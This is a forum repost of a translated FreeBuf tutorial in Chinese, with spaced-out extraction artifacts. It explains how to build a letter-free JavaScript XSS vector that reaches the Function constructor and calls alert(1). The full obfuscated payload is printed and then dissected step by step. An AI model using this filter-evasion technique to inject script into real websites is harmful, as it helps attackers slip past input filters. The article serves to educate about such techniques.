搜索

[9440] 2015-10-15_无须字母构建XSS向量

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-17
2015-10-15_无须字母构建XSS向量 无 须 字 母 构 建 X S S 向 量 F r e e B u f   2 0 1 5 - 1 0 - 1 5 要 求 要 求 之 前 我 在 玩 一 个 之 前 我 在 玩 一 个 X S S 游 戏 的 时 候 突 然 有 了 些 想 法 ， 本 着 分 享 的 原 则 ， 于 是 便 有 了 这 篇 文 章 。 在 此 ， 我 将 分 享 一 个 此 游 戏 的 时 候 突 然 有 了 些 想 法 ， 本 着 分 享 的 原 则 ， 于 是 便 有 了 这 篇 文 章 。 在 此 ， 我 将 分 享 一 个 此 前 没 有 接 触 过 的 一 个 前 没 有 接 触 过 的 一 个 X S S 攻 击 向 量 。 攻 击 向 量 。 相 同 水 平 的 前 提 下 ， 在 攻 击 向 量 中 不 使 用 任 何 字 母 ， 且 必 须 调 用 a l e r t ( 1 ) 。 闲 话 少 说 ， 看 这 里 ： " " [ ( ! 1 + " " ) [ 3 ] + ( ! 0 + " " ) [ 2 ] + ( ' ' + { } ) [ 2 ] ] [ ( ' ' + { } ) [ 5 ] + ( ' ' + { } ) [ 1 ] + ( ( " " [ ( ! 1 + " " ) [ 3 ] + ( ! 0 + " " ) [ 2 ] + ( ' ' + { } ) [ 2 ] ] ) + " " ) [ 2 ] + ( ! 1 + ' ' ) [ 3 ] + ( ! 0 + ' ' ) [ 0 ] + ( ! 0 + ' ' ) [ 1 ] + ( ! 0 + ' ' ) [ 2 ] + ( ' ' + { } ) [ 5 ] + ( ! 0 + ' ' ) [ 0 ] + ( ' ' + { } ) [ 1 ] + ( ! 0 + ' ' ) [ 1 ] ] ( ( ( ! 1 + " " ) [ 1 ] + ( ! 1 + " " ) [ 2 ] + ( ! 0 + " " ) [ 3 ] + ( ! 0 + " " ) [ 1 ] + ( ! 0 + " " ) [ 0 ] ) + " ( 1 ) " ) ( ) 真 是 一 团 糟 ， 我 们 到 底 做 了 些 什 么 呢 ？ 接 下 来 容 我 慢 慢 给 大 家 道 来 。 分 析 分 析 首 先 从 空 字 符 串 开 始 ， 接 下 来 我 们 访 问 括 号 而 不 是 我 们 熟 悉 的 点 符 号 的 属 性 。 请 注 意 ， 在 接 下 来 的 一 分 钟 我 们 将 构 建 字 符 串 ， 不 会 用 到 点 符 号 构 造 字 符 串 名 的 对 象 属 性 ， 现 在 切 换 到 括 号 。 现 在 我 们 访 问 的 是 什 么 属 性 ？ 下 面 这 个 就 是 “ 字 符 串 ” ： ( ! 1 + " " ) [ 3 ] + ( ! 0 + " " ) [ 2 ] + ( ' ' + { } ) [ 2 ] 接 下 来 从 ! 1 ( f a l s e ) 开 始 ， 将 “ ” 添 加 到 一 个 n o n - S t r i n g 值 中 是 一 个 快 速 且 直 接 的 方 法 ， 所 以 ( ! 1 + ” ” ) 我 们 得 到 f a l s e 。 将 字 符 带 入 索 引 3 中 的 “ f a l s e ” （ 结 果 切 好 是 s ） ， 在 ( ! 0 + ” ” ) [ 2 ] 或 者 “ t r u e ” [ 2 ] 再 次 尝 试 ， 你 会 得 到 字 母 u 。 最 后 将 字 符 带 入 索 引 2 的 字 符 串 “ [ o b j e c t   O b j e c t ] ” 中 ， 你 会 得 到 字 母 b 。 不 使 用 任 何 字 母 ， 构 造 一 个 字 符 串 来 访 问 空 字 符 串 对 象 的 “ s u b ” 属 性 ， 然 而 s u b 不 仅 仅 是 一 个 属 性 ， 它 还 是 一 个 函 数 ！ 此 时 此 刻 ， 你 可 能 会 认 为 我 接 下 来 会 通 过 调 用 S t r i n g . s u b 函 数 破 坏 过 滤 。 或 许 这 么 做 也 行 ， 但 是 我 选 择 更 加 有 深 度 的 做 法 ， 函 数 有 什 么 内 置 属 性 ？ 如 何 构 造 函 数 ？ 如 果 你 打 开 一 个 J a v a S c r i p t 控 制 台 ， 键 入 “ ” [ “ s u b ” ] [ “ c o n s t r u c t o r ” ] ， 你 看 到 了 什 么 ？ 为 什 么 得 到 了 F u n c t i o n ( ) 函 数 ！ 似 乎 我 们 有 事 情 干 了 . . . 给 你 点 提 示 ： 这 其 中 有 n ( ( " " [ ( ! 1 + " " ) [ 3 ] + ( ! 0 + " " ) [ 2 ] + ( ' ' + { } ) [ 2 ] ] ) + " " ) [ 2 ] 我 们 有 熟 悉 的 “ ” [ “ s u b ” ] ： ： ( ( " " [ " s u b " ] ) + " " ) [ 2 ]
向 其 中 增 加 “ ” ， 得 到 f u n c t i o n   s u b ( )   {   [ n a t i v e   c o d e ]   } 。 将 字 符 带 入 索 引 2 得 到 字 母 n 总 结 总 结 我 们 现 在 得 到 了 相 当 于 F u n c t i o n ( ) 的 “ ” [ “ s u b ” ] [ “ c o n s t r u c t o r ” ] ， 调 用 它 我 们 就 可 以 定 义 一 个 函 数 了 。 当 我 们 尝 试 调 用 a l e r t ( 1 ) 时 ， 就 需 要 连 接 更 多 的 “ t r u e ” 和 “ f a l s e ” 来 构 建 a l e r t 字 符 串 ， 其 后 在 加 上 + ” ( 1 ) ” 。 现 在 我 们 调 用 F u n c t i o n ( “ a l e r t ( 1 ) ” ) ， ， 大 功 告 成 ， 现 在 只 需 一 个 调 用 ， 返 回 一 个 匿 名 函 数 就 可 以 实 现 弹 出 。 / /   e m p t y   s t r i n g " " / /   [ " s u b " ] [ ( ! 1 + " " ) [ 3 ] + ( ! 0 + " " ) [ 2 ] + ( ' ' + { } ) [ 2 ] ] / /   [ " c o n s t r u c t o r " ] [ ( ' ' + { } ) [ 5 ] + ( ' ' + { } ) [ 1 ] + ( ( " " [ ( ! 1 + " " ) [ 3 ] + ( ! 0 + " " ) [ 2 ] + ( ' ' + { } ) [ 2 ] ] ) + " " ) [ 2 ] + ( ! 1 + ' ' ) [ 3 ] + ( ! 0 + ' ' ) [ 0 ] + ( ! 0 + ' ' ) [ 1 ] + ( ! 0 + ' ' ) [ 2 ] + ( ' ' + { } ) [ 5 ] + ( ! 0 + ' ' ) [ 0 ] + ( ' ' + { } ) [ 1 ] + ( ! 0 + ' ' ) [ 1 ] ] / /   ( " a l e r t ( 1 ) " ) ( ( ( ! 1 + " " ) [ 1 ] + ( ! 1 + " " ) [ 2 ] + ( ! 0 + " " ) [ 3 ] + ( ! 0 + " " ) [ 1 ] + ( ! 0 + " " ) [ 0 ] ) + " ( 1 ) " ) / /   c a l l   a n o n y m o u s   f u n c t i o n   r e t u r n e d   b y   F u n c t i o n ( ) ( ) 本 文 最 开 始 的 F u n c t i o n ( “ a l e r t ( 1 ) ” ) ( ) 确 实 十 分 混 乱 ， 不 使 用 任 何 可 识 别 的 字 符 串 确 实 很 难 辨 识 。 你 可 以 在 地 址 栏 键 入 “ j a v a s c r i p t : ” 复 制 粘 贴 上 面 的 代 码 点 击 回 车 键 进 行 测 试 。 我 喜 欢 你 能 够 喜 欢 J a v a S c r i p t 语 言 中 这 种 十 分 隐 晦 的 表 达 方 式 ， H a p p y   h a c k i n g ！ *   参 考 来 源 ： i n v e n t r o p y ， 编 译 / F B 小 编 鸢 尾 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理